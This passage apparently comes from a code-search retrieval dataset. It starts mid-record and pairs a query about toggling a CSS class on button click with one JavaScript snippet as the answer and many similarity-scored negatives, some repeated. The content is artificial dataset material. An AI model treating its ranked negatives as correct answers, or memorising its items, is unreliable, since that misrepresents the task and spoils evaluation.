"0c8c4b07ebe705d3381fb33577167158", "score": "0.51619434", "text": "function SafeHtml() { }", "title": "" }, { "docid": "0c8c4b07ebe705d3381fb33577167158", "score": "0.51619434", "text": "function SafeHtml() { }", "title": "" }, { "docid": "0c8c4b07ebe705d3381fb33577167158", "score": "0.51619434", "text": "function SafeHtml() { }", "title": "" }, { "docid": "b9329d3a6165a9ebb84af5e99c151816", "score": "0.5149799", "text": "function String$prototype$toString() {\n return typeof this === 'object' ?\n 'new String(' + toString(this.valueOf()) + ')' :\n JSON.stringify(this);\n }", "title": "" }, { "docid": "4996f74076c13ae785da59e25d8c8c37", "score": "0.51439124", "text": "function safeify(s) {\n if (s == null) {\n return \"NULL\";\n }\n return s.replace(/[^a-zA-Z0-9]/g, '_');\n}", "title": "" }, { "docid": "12a0511efb48be316317c750c9e041b5", "score": "0.5141609", "text": "function VpnRpcStr(init) {\n /** A string value */\n this.String_str = \"\";\n Object.assign(this, init);\n }", "title": "" }, { "docid": "7aa7697ca4fbbc1604964fa0bcf0984a", "score": "0.51407844", "text": "constructor(value) {\n\t\tsuper();\n\t\tthis.#stringVal = value;\n\t\tthis.#hashValue = 0;\n\t}", "title": "" }, { "docid": "e7f9e90d0514625e2057301af45e94dc", "score": "0.5127424", "text": "function BitString( str )\n{\n this.init( str );\n}", "title": "" }, { "docid": "ec9852213bbb163f881f2ca5038bec96", "score": "0.51270926", "text": "asString() {\n // TODO: pass in expected encoding?\n if (this.data.length > 0) {\n return String.fromCharCode(...this.data);\n }\n return \"\";\n }", "title": "" }, { "docid": "94985c84c276c6110fd312911ecaea86", "score": "0.5121328", "text": "function uu733772() { return '\"+s'; }", "title": "" } ]
1932903b46e5b21cdf4848d2290ea7d9
Clicking on the button triggers the class toggling
[ { "docid": "77aa7cbd1161fd03867105a7ad3f5777", "score": "0.7279392", "text": "function clickButton() {\n var body = document.getElementsByTagName('body')[0];\n body.classList.toggle('birdseye');\n this.classList.toggle('board-header-btn-enabled');\n}", "title": "" } ]
[ { "docid": "741a8c940c2d5bad132e5d09ce851447", "score": "0.7587942", "text": "function toggleButton(receivedClass){\n $(receivedClass).toggleClass(\"active\");\n }", "title": "" }, { "docid": "90e94a615678e9ef99bc49eb46e75475", "score": "0.70757353", "text": "action() {\n\t\tthis.toggle();\n\t}", "title": "" }, { "docid": "4840363c645e7919f11354f558d360f2", "score": "0.70630115", "text": "toggle(e) {\n if (e) e.preventDefault();\n const self = e ? this[buttonComponent] : this;\n const { element } = self;\n\n if (hasClass(element, 'disabled')) return;\n\n self.isActive = hasClass(element, activeClass);\n const { isActive } = self;\n\n const action = isActive ? removeClass : addClass;\n const ariaValue = isActive ? 'false' : 'true';\n\n action(element, activeClass);\n element.setAttribute(ariaPressed, ariaValue);\n }", "title": "" }, { "docid": "b2f923691dd8d3e3bfe8519d4bb47ceb", "score": "0.70288515", "text": "toggle() {\n this.clickHandler();\n }", "title": "" }, { "docid": "68c7684a2759c4ae212fc8e9f1dcbb07", "score": "0.70271957", "text": "toggleButtons() {\n\n }", "title": "" }, { "docid": "97fa2823862c1f889ffe9164c822550f", "score": "0.7015421", "text": "function toggleImportant(){\n\n console.log(\"btnImportant clicked\");\n\n if(!important){\n UI.$btnImportant.removeClass(\"far active\");\n UI.$btnImportant.addClass('fas');\n important = true;\n }\n else{\n UI.$btnImportant.removeClass('fas');\n UI.$btnImportant.addClass(\"far\");\n important = false;\n }\n}", "title": "" }, { "docid": "64a67faa143e8fc7336a6b04082c6bcf", "score": "0.6956394", "text": "function changeButtonClass() {\n if (buttonClass === \"nav-button\") {\n setButtonClass(\"nav-button-clicked\");\n }\n }", "title": "" }, { "docid": "667b603029d3612550f846b0f09a1ca6", "score": "0.6950439", "text": "function toggle(){\n button.classList.toggle(\"color\");\n}", "title": "" }, { "docid": "16dc7eef572f746a6e5328fff5d85956", "score": "0.6931252", "text": "toggle() {\n this.secondaryBtnObj.toggle();\n }", "title": "" }, { "docid": "2fd4e38bf309e6e925a8d7bd401fcfeb", "score": "0.6875835", "text": "function toggleHighlightClass() {\n if (myButton.classList.contains('highlight')) {\n myButton.\n }\n myButton.classList.toggle('highlight');\n}", "title": "" }, { "docid": "2002c51d924550f609fdba37c64c9a1d", "score": "0.68410635", "text": "btnClick() {\n if (this.btnObj.element.classList.contains(\"e-active\")) {\n this.btnObj.iconCss = \"e-icons burg-icon\";\n this.sidebarObj.show();\n } else {\n this.btnObj.iconCss = \"e-icons burg-icon\";\n this.sidebarObj.hide();\n }\n }", "title": "" }, { "docid": "0d9b72ed460b0a5b0828f8ba165235c0", "score": "0.682088", "text": "function toggleLeeslijst() {\n leeslijstButton.classList.toggle(\"checked\");\n}", "title": "" }, { "docid": "08caf117729720d8e643655c29d847f9", "score": "0.68036646", "text": "function toggle() {\n\tthis.classList.toggle(\"done\");\n}", "title": "" }, { "docid": "afb190c84a478b76dbcfb29a9437d1c5", "score": "0.67827266", "text": "function changeOne(event) {\n title.innerHTML = '1';\n title.classList.toggle('blueBackground'); // !! you should be removing the class added by the other button, not toggling\n}", "title": "" }, { "docid": "f90ace8144f923b5f3e71c3220d5bfee", "score": "0.6775908", "text": "function changeState(btn){\r\n\tif(btn.classList.contains(\"stop\")){\r\n\t\tbtn.classList.remove(\"stop\");\r\n\t\tbtn.innerText = \"start\";\r\n\t}else{\r\n\t\tbtn.classList.toggle(\"stop\");\r\n\t\tbtn.innerText = \"stop\";\r\n\t}\r\n}", "title": "" }, { "docid": "6f7509c314d63898d4c953d2c807f9e8", "score": "0.67551166", "text": "toggle() {\n this.modal.classList.add(`${this.selectors.activeClass}`);\n this.overlayWrapper.classList.add(`${this.selectors.activeClass}`);\n this.previousTheme = this.body.dataset.theme;\n this.setBodyTheme(this.selectors.customTheme);\n this.themeSwitch.displayCustomTheme();\n this.checkActiveInput(this.selectors.customTheme);\n this.focusTrap();\n window.setTimeout(() => {\n this.firstFocusableElement.focus();\n }, 50);\n this.assignColorsToButtonsDataAttribute();\n }", "title": "" }, { "docid": "e9910e4f7dfde306151a07981901d255", "score": "0.67507315", "text": "function toggle() {\r\n this.classList.toggle(\"done\");\r\n}", "title": "" }, { "docid": "207b8a4f950e073fa23ac357fe7615e5", "score": "0.6742939", "text": "function toggleClick() {\n\t\tif ( ~ this.parentElement.className.indexOf( 'clicked' ) ) {\n\t\t\tthis.parentElement.className = this.parentElement.className.replace( ' clicked', '' );\n\t\t} else {\n\t\t\tthis.parentElement.className += ' clicked';\n\t\t}\n\t}", "title": "" }, { "docid": "ee52ada7cd24369fa0d864b02a37d1f6", "score": "0.6728371", "text": "static coreToggleClass() {\n jQuery('[data-toggle=\"class-toggle\"]:not(.js-class-toggle-enabled)').on('click.pixelcave.helpers.core', (e) => {\n let el = jQuery(e.currentTarget);\n\n // Add .js-class-toggle-enabled class to tag it as activated and then blur it\n el.addClass('js-class-toggle-enabled').blur();\n\n // Toggle class\n jQuery(el.data('target').toString()).toggleClass(el.data('class').toString());\n });\n }", "title": "" }, { "docid": "6842794ddb8860887961a415077d37c9", "score": "0.67164385", "text": "function change () {\n btnarrio.classList.toggle('botonarrio')\n }", "title": "" }, { "docid": "cf8f08420b88a32833064a456e5a5440", "score": "0.67144585", "text": "function toggle() {\n this.classList.toggle(\"done\");\n}", "title": "" }, { "docid": "4453d31414684388497778227285d685", "score": "0.6688318", "text": "toggleActiveBtn() {\n document.querySelector(\"#not-ans-btn\").classList.toggle(\"active\");\n document.querySelector(\"#ans-btn\").classList.toggle(\"active\");\n }", "title": "" }, { "docid": "30cac8d1210017c6773ba98e0d5c2391", "score": "0.6667513", "text": "toggleButtonA() {\n super.toggleButtonA();\n currentState = new TransitionToFemaleChangingRoom();\n }", "title": "" }, { "docid": "120b931ea36f15e57f90af8f9b355139", "score": "0.66385525", "text": "function infoPanelButtonAction () {\n\n $('.infoPanelSwitch').toggleClass('off on');\n if ($('.infoPanelSwitch').hasClass('on')) {\n $('.infoPanel').removeClass('open closed').addClass('open');\n } else {\n $('.infoPanel').removeClass('open closed').addClass('closed');\n }\n\n}", "title": "" }, { "docid": "a74144e0f79806ed76f432ab0c982c0f", "score": "0.6629011", "text": "function toggleClicked() {\n clicked = !clicked;\n}", "title": "" }, { "docid": "22dc47a780b432f49880c101d1e48a8d", "score": "0.66083974", "text": "function b(b){return this.each(function(){var d=a(this),e=d.data(\"bs.button\"),f=\"object\"==typeof b&&b;e||d.data(\"bs.button\",e=new c(this,f)),\"toggle\"==b?e.toggle():b&&e.setState(b)})}", "title": "" }, { "docid": "a7798525255c3d71aee66c4a0444fa1b", "score": "0.65925246", "text": "function toggleSmokeButton() {\n if (smokeState == 0) {\n smokeButton.className = \"fa fa-angle-left\";\n }\n else {\n smokeButton.className = \"fa fa-angle-right\";\n }\n}", "title": "" }, { "docid": "c82867e2e863f6097b04b515541fda82", "score": "0.65787977", "text": "function clickChangeColor() {\n this.classList.toggle(\"active\")\n}", "title": "" }, { "docid": "fcbe18acd9d46f03b23409fedcd6e50c", "score": "0.6575305", "text": "toggleButtonB() {\n super.toggleButtonB();\n currentState = new TransitionToMaleChangingRoom();\n }", "title": "" }, { "docid": "4970af0b2538b7983e944d9052fc8fa6", "score": "0.6573592", "text": "function btnClicked() {\n if(this.classList.contains('blue')){\n this.classList.remove('blue')\n click = click-1\n } else {\n this.classList.add('blue')\n click = click+1\n }\n }", "title": "" }, { "docid": "c67fc31090508dd553a59b8d0915a3ac", "score": "0.656673", "text": "function toggleButton(selector){\r\n toggleAllButtonsOff(selector.get())\r\n $(selector).addClass('btn-default-selected');\r\n }", "title": "" }, { "docid": "e5635f9f1ef19af98636e7b89046d7d5", "score": "0.6555232", "text": "function _toggleElement() {\n var $this = $( this );\n\n _toggleAria( $this, 'aria-expanded' );\n _toggleAria( $this, 'aria-pressed' );\n $( 'body' ).toggleClass( $this.attr( 'id' ) + '-active' );\n }", "title": "" }, { "docid": "199d5ad62ba9fc608fca1734383d0a2e", "score": "0.6542965", "text": "function toggleOn(button) {\n\t\t\n\t\t//button returns button element clicked on.\n\t\t//toggle returns true if contains class on, false if not\n\t\t//var toggle = button.classList.toggle('on');\n\t\tvar toggleId = document.querySelectorAll('#sort-launches button');\n\t\tconsole.log(toggleId);\n\t\tvar id = button.id;\n\n\t\tswitch (id) {\n\t\t\tcase 'all':\n\t\t\t\tdisplayAll();\n\t\t\t\thideAll();\n\t\t\t\tshowAll();\n\t\t\t\tmessages();\n\t\t\t\tbutton.classList.add('on');\n\t\t\t\tbreak;\n\t\t\tcase 'ariane':\n\t\t\t\tdisplayAll();\n\t\t\t\thideAll();\n\t\t\t\tfor(j = 0; j < ariane.length; j++){\n\t\t\t\t\tariane.item(j).classList.toggle('hidden');\n\t\t\t\t}\n\t\t\t\tfor(i = 0; i < buttons.length; i++){\n\t\t\t\t\tbuttons.item(i).classList.remove('on');\n\t\t\t\t}\n\t\t\t\tbutton.classList.add('on');\n\t\t\t\tmessages();\n\t\t\t\tbreak;\n\t\t\tcase 'spacex':\n\t\t\tcase 'ula':\n\t\t\tcase 'orbital':\n\t\t\tcase 'russia':\n\t\t\tcase 'china':\n\t\t\tcase 'india':\n\t\t\tcase 'nasa':\n\t\t\tcase 'iss':\n\t\t\tcase 'rocketlab':\n\t\t\tcase 'eurokot':\n\t\t\t\tdisplayAll();\n\t\t\t\thideAll();\n\t\t\t\tvar launchProvider = document.getElementsByClassName(id);\n\t\t\t\tfor(j = 0; j < launchProvider.length; j++){\n\t\t\t\t\tlaunchProvider.item(j).classList.toggle('hidden');\n\t\t\t\t}\n\t\t\t\tfor(i = 0; i < buttons.length; i++){\n\t\t\t\t\tbuttons.item(i).classList.remove('on');\n\t\t\t\t}\n\t\t\t\tbutton.classList.add('on');\n\t\t\t\tmessages();\n\t\t\t\tbreak;\n\t\t}\n\t}", "title": "" }, { "docid": "b3d4b430658252ee2ff295640eb8f478", "score": "0.6540216", "text": "function recordButtonClick(event) {\n var buttonClasses = event.target.classList;\n\n buttonClasses.toggle('active');\n setupInterval(event.target, true);\n }", "title": "" }, { "docid": "de49af3797c7937630d6431e5f22f944", "score": "0.6536512", "text": "function status(element){\n element.classList.toggle(CHECK);\n element.classList.toggle(UNCHECK);\n \n \n}", "title": "" }, { "docid": "7bed3b7a0bc3d0014ec1add504e8fcbf", "score": "0.6535538", "text": "function toggleButton(button) {\n if (button.classList.contains(\"ezy-btn--loading\")) {\n button.classList.remove(\"ezy-btn--loading\");\n button.disabled = false;\n } else {\n button.classList.add(\"ezy-btn--loading\");\n button.disabled = true;\n }\n }", "title": "" }, { "docid": "e54d5f0ae886fc6b6cde8f91816aeae1", "score": "0.6530811", "text": "function toggle(el) {\n el.classList.toggle('active');\n saveToggleValues();\n }", "title": "" }, { "docid": "27f15350dc4975a16301403592b88d99", "score": "0.65290725", "text": "function buttonToggle() {\n let signin = document.getElementById('signin');\n signin.classList.toggle('none');\n}", "title": "" }, { "docid": "26288d7b3fd86ab755e9a09cfe546465", "score": "0.65274966", "text": "function transportButtons(){\n document.getElementById(\"menu\").classList.toggle(\"show\");\n}", "title": "" }, { "docid": "2cf066c58154bbe3accd57823c17d7ec", "score": "0.6514702", "text": "function buttonClick() {\n btn.getAttribute('class');\n\n if('class' ,'dark'){\n btn.setAttribute('class', 'light');\n btn.textContent = \"Lighten\";\n overlay.style.backgroundColor = \"rgba(0,0,0,0.5)\";\n } else {\n btn.setAttribute('class', 'dark');\n btn.textContent = 'Darken';\n overlay.style.backgroundColor = \"rgba(0,0,0,0)\";\n }\n\n}", "title": "" }, { "docid": "1b0ba81bb602207c0e6e72232b3c7c66", "score": "0.65073675", "text": "function toggleButtons(btn){\n btn.toggleClass('btn-success');\n btn.toggleClass('btn-danger');\n btn.text(btn.hasClass('btn-success') ? 'Deactivate' : 'Activate');\n }", "title": "" }, { "docid": "8239af7a23e1174b53944b7063009181", "score": "0.6506128", "text": "function toggle() {\n if (isInit) {\n if (isInState) disableState(btn, wrapper);\n else enableState(btn, wrapper, a11yText);\n }\n }", "title": "" }, { "docid": "23f1cf4369808c6096684909f988dd32", "score": "0.64723", "text": "function changeButton() {\n if (props.playing) {\n props.toggleButton();\n }\n }", "title": "" }, { "docid": "5e27566f901dbecd2ac583be0d65991e", "score": "0.64666253", "text": "function btnToggle(e) {\n\n console.log()\n\n const targetID = e.attributes[\"data-target\"].value\n\n document.getElementById(targetID).classList.toggle(\"show\");\n}", "title": "" }, { "docid": "c5befa8130fe6d2b5e598c4204798276", "score": "0.64639956", "text": "function toggleClickedGreen(event) {\n event.currentTarget.classList.toggle(\"clicked-green\")\n}", "title": "" }, { "docid": "81339e7db19f7d5a1ff6cfcf3a8dc126", "score": "0.64585304", "text": "function toggleDone(event){\n\tthis.classList.toggle(\"done\");\n}", "title": "" }, { "docid": "86377d30b5dfc545621fc7b5a3b1311a", "score": "0.6453363", "text": "_onButtonClick() {\n const newChecked = this._isSingleSelector ? true : !this._checked;\n if (newChecked !== this._checked) {\n this._checked = newChecked;\n if (this.buttonToggleGroup) {\n this.buttonToggleGroup._syncButtonToggle(this, this._checked, true);\n this.buttonToggleGroup._onTouched();\n }\n }\n // Emit a change event when it's the single selector\n this.change.emit(new MatButtonToggleChange(this, this.value));\n }", "title": "" }, { "docid": "a58da9442e2ae69e2864c708598a2f67", "score": "0.64498657", "text": "function toggleDone(){\n\tthis.classList.toggle(\"done\");\n}", "title": "" }, { "docid": "361d3ce79e378f0ba6eb3fd0a99a00b2", "score": "0.6440264", "text": "onShowButtonClick() {\n this.$mainContainer.classList.toggle(this.showClass);\n this.$icon.classList.toggle(this.showIconClass);\n this.$icon.classList.toggle(this.hideIconClass);\n }", "title": "" }, { "docid": "deca90e522b42718308fbe6662b69491", "score": "0.6437442", "text": "toggle() {\n e.hasClass(this.element, b) ? this.hide() : this.show();\n }", "title": "" }, { "docid": "deca90e522b42718308fbe6662b69491", "score": "0.6437442", "text": "toggle() {\n e.hasClass(this.element, b) ? this.hide() : this.show();\n }", "title": "" }, { "docid": "deca90e522b42718308fbe6662b69491", "score": "0.6437442", "text": "toggle() {\n e.hasClass(this.element, b) ? this.hide() : this.show();\n }", "title": "" }, { "docid": "52ac606299a94f2892c8f1a8ec074860", "score": "0.6425143", "text": "function toggleButtonState(button, icon_class) {\r\n\tbutton.toggleClass('btn-info');\r\n\tbutton.toggleClass('btn-primary');\r\n\tvar icon = button.find('i');\r\n\tif (icon.hasClass(icon_class)) {\r\n\t\ticon.removeClass(icon_class);\r\n\t\ticon.addClass('icon-remove');\r\n\t} else {\r\n\t\ticon.addClass(icon_class);\r\n\t\ticon.removeClass('icon-remove');\r\n\t}\r\n}", "title": "" }, { "docid": "1bfd284474319c05e193e9b030fbb881", "score": "0.64245874", "text": "function toggleButton() {\n button.current.disabled = !button.current.disabled;\n }", "title": "" }, { "docid": "f9b8d40445326ce0301e36ef731424ef", "score": "0.6420277", "text": "handleClick() {\n\n var logPane = document.getElementById('myBlackbird');\n var playbackInfoPane = document.getElementById('playbackInfo');\n\n this.el_.classList.toggle('active');\n playbackInfoPane.classList.toggle('activePane');\n logPane.classList.toggle('playbackInfoVisible');\n\n }", "title": "" }, { "docid": "b280ee24b871d22254a21b1764bbc75b", "score": "0.64073265", "text": "function toggle(e) {\r\n\t\t$(e.currentTarget).is('.scan-btn') && $states.toggle({\r\n\t\t\tduration: 0,\r\n\t\t\talways: $.debounce(toggled, 27, false)\r\n\t\t}) && hideNotif();\r\n\r\n\t\t$(e.currentTarget).is('.scan-success') && showNotif() && toggleSuccessBtn();\r\n\t}", "title": "" }, { "docid": "e829f95e81191e4932a7faf0559a146f", "score": "0.6405139", "text": "function getToggleButton() {\n const button = $(`<button class=\"${CSS_NAMESPACE}-toggle\"></button>`).text(\"Unhide\");\n const unhideClassFragment = `${CSS_NAMESPACE}-unhide`;\n\n button.on(\"click\", (event) => {\n const work = $(event.target).closest(`.${CSS_NAMESPACE}-work`);\n\n if (work.hasClass(unhideClassFragment)) {\n work.removeClass(unhideClassFragment);\n work.find(`.${CSS_NAMESPACE}-note`).text(\"This work is hidden.\");\n $(event.target).text(\"Unhide\");\n } else {\n work.addClass(unhideClassFragment);\n work.find(`.${CSS_NAMESPACE}-note`).text(\"ℹ️ This work was hidden.\");\n $(event.target).text(\"Hide\");\n }\n });\n\n return button;\n }", "title": "" }, { "docid": "c1b0d2d36ac98021314eb1454bdfb536", "score": "0.64024943", "text": "function toggle() {\n var clicked = this.id.toLowerCase();\n\n if (clicked != \"timer\") {\n timerSettings.classList.remove(\"show\");\n } else {\n timerSettings.classList.add(\"show\");\n goButton.innerHTML = \"Set Timer\";\n }\n if (clicked == \"clock\") goButton.innerHTML = \"Set Clock\";\n\n if (clicked == \"stopwatch\") goButton.innerHTML = \"Set Stopwatch\";\n\n state = clicked;\n}", "title": "" }, { "docid": "7f92949d2812e2b09f36e6659e00b569", "score": "0.6400945", "text": "function toggleDone() {\n this.classList.toggle('done');\n}", "title": "" }, { "docid": "613a9ab2fe71946a68eea7e15e6316ba", "score": "0.6397451", "text": "function toggleActive(event) {\n // Recebe o botão clicado\n const button = event.currentTarget;\n // Recupera todos os botões\n const buttons = document.querySelectorAll(\".button-select button\");\n // Verifica os botões e remove a class .Active\n buttons.forEach((button) => {\n button.classList.remove(\"active\");\n });\n // Adiciona a class .Active ao botão clicado.\n button.classList.add(\"active\");\n // Atualizar o input hidden dos botões\n const input = document.querySelector('[name=\"open_on_weekends\"]')\n input.value = button.dataset.value\n }", "title": "" }, { "docid": "d5d3fb6acba916557bd13fea58a27c9b", "score": "0.63956875", "text": "function toggle(ev) {\n ev.preventDefault();\n ev.target.classList.toggle('is-on');\n }", "title": "" }, { "docid": "f2fcf33b580a8ae99226687f22f0c36e", "score": "0.6391541", "text": "toggle(n) {\n n && n.preventDefault();\n const s = n ? Zn(n.target) : this;\n if (!s.element)\n return;\n const { element: o, isActive: a } = s;\n if (e.hasClass(o, \"disabled\"))\n return;\n (a ? e.removeClass : e.addClass)(o, T), e.setAttribute(o, e.ariaPressed, a ? \"false\" : \"true\"), s.isActive = e.hasClass(o, T);\n }", "title": "" }, { "docid": "37cc94242152fbedacc6d19dc1059a62", "score": "0.63889617", "text": "toggle() {\n e.hasClass(this.element, C) ? this.hide() : this.show();\n }", "title": "" }, { "docid": "37cc94242152fbedacc6d19dc1059a62", "score": "0.63889617", "text": "toggle() {\n e.hasClass(this.element, C) ? this.hide() : this.show();\n }", "title": "" }, { "docid": "37cc94242152fbedacc6d19dc1059a62", "score": "0.63889617", "text": "toggle() {\n e.hasClass(this.element, C) ? this.hide() : this.show();\n }", "title": "" }, { "docid": "5bf88a7f203605b9f384697872d715a5", "score": "0.6386363", "text": "function toggleSwitches() {\n this.classList.toggle('active');\n}", "title": "" }, { "docid": "6b5b4b90cde56f953314c6e39e6f8760", "score": "0.6385687", "text": "function buttonHandler(e) {\n var button = e.delegateTarget;\n if (!button.classList.contains(\"active\"))\n button.classList.add(\"active\");\n else\n button.classList.remove(\"active\");\n}", "title": "" }, { "docid": "4bf9ea4e77025fb722c6d6e0f7959ef3", "score": "0.63812715", "text": "function buttonDown(e) {\n addClass(e.target, 'button-down');\n\n}", "title": "" }, { "docid": "5ef6eec863f8044fbd9dbefb26780baa", "score": "0.63699704", "text": "handleToggleButton() {\n\t\tthis.setState({\n\t\t\tisToggleOn: !this.state.isToggleOn\n\t\t});\n\t}", "title": "" }, { "docid": "1013496c26890dc711667ea293c2f2c8", "score": "0.63579345", "text": "function toggle(cls, btn) {\n // if input class is hidden\n if (hidden.includes(cls)) {\n show(cls);\n hidden.forEach((elm, idx) => {\n elm === cls ? hidden.splice(idx, 1) : null;\n });\n // set button colour\n document.getElementById(btn).style.background = \"var(--colour-3)\";\n } else { //else hide\n hide(cls);\n hidden.push(cls);\n inactive.push(btn);\n // set button colour\n document.getElementById(btn).style.background = \"var(--colour-4)\";\n }\n}", "title": "" }, { "docid": "23f7567987ba3aa016538abec1ffa58c", "score": "0.6349611", "text": "function clickedmetric(event) {\n $(\"#metricbuttons\").find(\".redbutton\").each(function() {\n $(this).removeClass(\"clicked\")\n });\n $(event.target).addClass(\" clicked\");\n}", "title": "" }, { "docid": "31e2a3ca038a3d8459e59f4c457884e4", "score": "0.6333916", "text": "function toggleButton(tool) {\n tool.toggleClass('tool--on');\n }", "title": "" }, { "docid": "8e5ed9a0ab38c299529c591ff173c532", "score": "0.63314676", "text": "function toggleAlert(){\n\n console.log(\"btnAlert clicked\");\n\n if(!alert){\n UI.$btnAlert.removeClass(\"far\");\n UI.$btnAlert.addClass('fas');\n alert = true;\n }\n else{\n UI.$btnAlert.removeClass('fas');\n UI.$btnAlert.addClass(\"far\");\n alert = false;\n }\n}", "title": "" }, { "docid": "d6ba5d1274d83308af6341f058ba7b98", "score": "0.6330527", "text": "function toggleToDoPrevious() {\n if (toggleToDoBtn.classList.contains(\"active\") === true) {\n toDoPrevious = \"off\";\n } else {\n toDoPrevious = \"on\";\n }\n}", "title": "" }, { "docid": "19987b6bd7d6ac6b2f59c3fb37c3b5d0", "score": "0.6329353", "text": "handleClick() {\n\n var logPane = document.getElementById('myBlackbird');\n var debuggerSettingsPane = document.getElementById('debuggerSettings');\n\n this.el_.classList.toggle('active');\n debuggerSettingsPane.classList.toggle('activePane');\n logPane.classList.toggle('debuggerSettingsVisible');\n\n }", "title": "" }, { "docid": "864add686b3b5f5d06891e6dd9fb60e3", "score": "0.6316174", "text": "toggleActiveClassButtonsFilter() {\n this._view.removeClassActiveButtonsFilter();\n this.addActiveClassButtonsFilter();\n }", "title": "" }, { "docid": "f6d2b110383b9eb3e17bb3945f845892", "score": "0.63125545", "text": "function colorSwitch(trigger,target,class1,class2){\n var checked = true;\n trigger.click(function(){\n if(checked){\n checked = false; \n }\n else {\n checked = true;\n }\n checked ? target.removeClass(class2) : target.removeClass(class1);\n checked ? target.addClass(class1) : target.addClass(class2);\n });\n}", "title": "" }, { "docid": "e748d21e983e1fd5ace908e0a879e1e7", "score": "0.6310581", "text": "function classToggle(element) {\n // this changes the class of the checkbox element (that we referenced in the checkbox variable)\n element.classList.toggle(\"completed\");\n element.classList.toggle(\"active\");\n}", "title": "" }, { "docid": "200b31d3163d07a6522f68aa54f81072", "score": "0.63059485", "text": "clicked(){\n if(this.mouseIsOver()){\n this.active = !this.active;\n if(this.toggleAction != null)\n this.toggleAction();\n }\n }", "title": "" }, { "docid": "3b15402c7620fbfd347fdd3ab12abe4e", "score": "0.6303625", "text": "function toggle() {\n if(isActive){\n handleStartClicked(isActive);\n }\n setIsActive(!isActive);\n }", "title": "" }, { "docid": "7caf56cbc388076d24ebb1b985901e2b", "score": "0.62940943", "text": "function switchClassStatus(on) {\n\t$(\"#class-status\")\n\t\t.text(on ? \"ON\" : \"OFF\")\n\t\t.css(\"color\", on ? \"#36ff32\" : \"#ff5656\");\n\t$(\"#switch-class-button\")\n\t\t.val(on ? \"End class\" : \"Start class\");\n}", "title": "" }, { "docid": "ab2df0e2afaf5beccab3b2a0c0fde602", "score": "0.6291966", "text": "handleClick() {\n this.setState({\n isToggleOn: !this.state.isToggleOn,\n isHidden: !this.state.isHidden,\n });\n }", "title": "" }, { "docid": "cc2e39fb49791bb70ea39cab3d64b0a8", "score": "0.6288527", "text": "handleClick() {\n this.setState({toggle: true});\n }", "title": "" }, { "docid": "c57b25b49ae8432bbf7388ccd4762767", "score": "0.6283759", "text": "button_switch(){\n if(this.state.toggle==\"off\"){\n this.setState({\n toggle: \"on\"\n });\n document.getElementById(\"react-app1\").style.color=\"green\";\n }\n else{\n this.setState({\n toggle: \"off\"\n });\n document.getElementById(\"react-app1\").style.color=\"black\";\n }\n }", "title": "" }, { "docid": "63388944fdfceb5afa26573807e65992", "score": "0.62831545", "text": "function handleClassChange (){\n flightEl.classList.toggle(\"enabled\")\n flightEl.classList.toggle(\"disabled\")\n}", "title": "" }, { "docid": "beb9c71b53313b349ad9b997ab7317c6", "score": "0.6266685", "text": "_clickToggleButton(event) {\n let that = this,\n toggleBtn = event.target,\n descWrapper = toggleBtn.parentNode.nextElementSibling,\n descendants = Array.from(descWrapper.querySelectorAll('.node')),\n children = Array.from(descWrapper.children).map(item => item.querySelector('.node'));\n\n if (children.some((item) => item.classList.contains('slide'))) { return; }\n toggleBtn.classList.toggle('fa-plus-square');\n toggleBtn.classList.toggle('fa-minus-square');\n if (descendants[0].classList.contains('slide-up')) {\n descWrapper.classList.remove('hidden');\n this._repaint(children[0]);\n this._addClass(children, 'slide');\n this._removeClass(children, 'slide-up');\n this._one(children[0], 'transitionend', () => {\n that._removeClass(children, 'slide');\n });\n } else {\n this._addClass(descendants, 'slide slide-up');\n this._one(descendants[0], 'transitionend', () => {\n that._removeClass(descendants, 'slide');\n descendants.forEach(desc => {\n let ul = that._closest(desc, function (el) {\n return el.nodeName === 'UL';\n });\n\n ul.classList.add('hidden');\n });\n });\n\n descendants.forEach(desc => {\n let subTBs = Array.from(desc.querySelectorAll('.toggleBtn'));\n\n that._removeClass(subTBs, 'fa-minus-square');\n that._addClass(subTBs, 'fa-plus-square');\n });\n }\n }", "title": "" }, { "docid": "563e17ed0c999588ed294adfa8cd821b", "score": "0.626148", "text": "toggle() {\n this.checked = !this.checked;\n\n /**\n * Fired when switch is clicked,\n * with current status as payload\n *\n * @event cells-switch-clicked\n */\n this.dispatchEvent(new CustomEvent('cells-switch-clicked', {\n bubbles: true,\n composed: true,\n detail: this.checked\n }));\n }", "title": "" }, { "docid": "b884143daa7da8779192e5de73b6bb6f", "score": "0.6260346", "text": "function change(btn) {\n btn.classList.add(\"basic\")\n }", "title": "" }, { "docid": "5170f42eb597da67cb7a47a4af17f8c7", "score": "0.6258335", "text": "function toggleHandler(toggle) {\n toggle.addEventListener( \"click\", function(e) {\n e.preventDefault();\n if(this.classList.contains(\"is-active\") === true) {\n this.classList.remove(\"is-active\")\n }\n});\n}", "title": "" }, { "docid": "8964510ad0cb9b4d2f58c74e7447d35a", "score": "0.6256509", "text": "function toggleButton() {\n button.disabled = !button.disabled;\n }", "title": "" }, { "docid": "97c38b31428567f1b415a7bfee93988d", "score": "0.6252679", "text": "function switchState() {\n $(\"results-container\").classList.toggle(\"hidden\");\n $(\"their-card\").classList.toggle(\"hidden\");\n $(\"start-btn\").classList.toggle(\"hidden\");\n $(\"flee-btn\").classList.toggle(\"hidden\");\n $(\"pokedex-view\").classList.toggle(\"hidden\");\n $(\"p1-turn-results\").classList.toggle(\"hidden\");\n qs(\"#my-card .hp-info\").classList.toggle(\"hidden\");\n qs(\"#my-card .buffs\").classList.toggle(\"hidden\");\n }", "title": "" }, { "docid": "b5cbdf497060d08ef50a90cebd75323d", "score": "0.6252604", "text": "function animateButton() {\n $toggle_btn.click(function () {\n if ($(this).hasClass(\"shown\")) {\n $(this).css(\"transform\", \"rotate(0deg)\");\n $(this).toggleClass('shown');\n $menu_nav.slideToggle();\n } else {\n $(this).css(\"transform\", \"rotate(180deg)\");\n $(this).toggleClass('shown');\n $menu_nav.slideToggle();\n }\n });\n }", "title": "" }, { "docid": "57d0278a586b39b919c9b5b49d771f4b", "score": "0.62512356", "text": "function vs_switch_state(context){\n if(context.classList.contains(\"switchOn\")){\n context.classList.remove(\"switchOn\");\n context.classList.add(\"switchOff\");\n }\n else{\n context.classList.remove(\"switchOff\");\n context.classList.add(\"switchOn\");\n }\n}", "title": "" }, { "docid": "339129c00297af139755adaf23357f04", "score": "0.62493813", "text": "open() {\n this.buttonTarget.disabled = true;\n this.containerTarget.classList.remove('d-none');\n }", "title": "" }, { "docid": "35abc6204c1620e563f4018d84f5b81d", "score": "0.62489665", "text": "function On(e){\n\te.classList.toggle(\"on_bulb\");\n\tdocument.body.classList.toggle(\"white\");\n}", "title": "" }, { "docid": 